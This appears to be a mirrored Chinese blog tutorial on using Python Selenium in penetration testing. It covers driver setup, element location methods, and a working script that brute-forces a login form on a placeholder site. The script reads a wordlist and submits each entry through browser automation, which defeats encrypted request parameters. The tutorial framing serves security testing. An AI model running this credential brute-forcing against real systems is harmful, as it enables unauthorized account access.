zoukankan      html  css  js  c++  java
  • Python Selenium 渗透测试中的使用

    在渗透测试过程中如果请求传参被加密且加密传输方法通过前端js无法定位到的情况下,这种如果是登录口要进行字典枚举测试那就可以通过Selenium浏览器自动化测试框架来进行自动化测试

    Selenium安装方法
    Selenium 配置
    1、安装 Selenium模块: pip install Selenium
    2、下载浏览器驱动
    Chrome驱动文件下载:https://chromedriver.storage.googleapis.com/index.html?path=2.35/
    Firefox 驱动文件下载 :https://github.com/mozilla/geckodriver/releases

    Selenium 驱动调用

    
    from selenium import webdriver
     
    ## 如果是chrome浏览器的驱动
    driver=webdriver.Chrome("G:Anaconda3-5.3.0chromedriver.exe")
     
    ##如果是firefox浏览器的驱动
    driver=webdriver.Firefox(executable_path="G:Anaconda3-5.3.0geckodriver.exe")
     
    ######如果浏览器驱动的目录加入了环境变量的话
     
    ## 如果是chrome浏览器的驱动
    driver=webdriver.Chrome()
     
    ##如果是firefox浏览器的驱动
    driver=webdriver.Firefox()
    
    

    Selenium定位元素

    
    > 定位一个元素	定位多个元素	含义
    > find_element_by_id	通过元素id定位
    > find_element_by_name	通过元素name定位
    > find_element_by_class_name	通过classname进行定位
    > find_element_by_tag_name	通过标签定位
    > find_element_by_link_text	通过完整超链接定位
    > find_element_by_partial_link_text	通过部分链接定位
    > find_elements_by_css_selector	通过css选择器进行定位
    > find_element_by_xpath	通过xpath表达式定位
    

    渗透测试中案例使用
    对某个系统进行渗透测试过程中登录口为了爆破通常进行抓包查看请求包,这里就发现一个请求传参是完全加密的案例

    这里可以看到他所有的传参都传给encode参数进行加密处理,这样的话我们要爆破的话就无从下手,当然可以F12跟踪js代码看是否在前端进行交互调用加密方法,如果是要分析学习这类型的可以跳到我前段时间写的文章进行学习:https://www.cnblogs.com/jicklun/p/13944040.html,这里我们重点说下用Selenium框架如何对加密传参的站点进行爆破

    我们这里可以看到传参加密了,如果我们单独进行传参请求爆破肯定是行不通的,首先要利用Selenium爆破我们要定位下前端的登录账号密码的元素ID

    这里可以看到我们可以很方便的定位到元素主要为input标签里的bofid元素属性,这里就可以构造代码进行编写

    代码主要是定位input标签下的bofid元素中的属性值来进行定位输入字典内容,然后通过循环来进行模拟浏览器来进行批量爆破

    
    #coding=utf-8
    
    from selenium import webdriver
    import time
    import sys
    
    class Haidchr:
        def __init__(self):
            self.chrome_driver = "chromedriver.exe"
            self.driver = webdriver.Chrome(executable_path = self.chrome_driver)
        def login(self,pwd):
            try:
                self.driver.get("https://www.xxxx.com/vision/index.jsp")
                username = self.driver.find_element_by_xpath('//input[@bofid="username"]')
                username.send_keys(pwd.strip())
                password=self.driver.find_element_by_xpath('//input[@bofid="password"]')
                password.send_keys(pwd.strip())
                self.driver.find_element_by_xpath('//input[@bofid="login"]').click()
                print (pwd)
                time.sleep(0.5)
            except:
                print ("NO")
    
    if __name__ == '__main__':
        Haid_chr = Haidchr()
        for pwd in open(sys.argv[1],'r+'):
            Haid_chr.login(pwd)
    
    

    运行效果如下:

  • 相关阅读:
    工序打扎流程(自定义按钮移动、群响应。)
    将FAT磁盘转化为NTFS格式。
    VC监视新硬件插入电脑。
    VC读取分析网络文件
    工序打扎流程(箭头实现、刷新画面)
    VC实现自定义按钮响应拖动
    VC中ListCtrl经验总结【转载】
    C++的优先级
    VC画面闪烁及解决方法
    改变 CListCtrl、CHeaderCtrl 高度、字体、颜色和背景
  • 原文地址:https://www.cnblogs.com/jicklun/p/14033523.html
Copyright © 2011-2022 走看看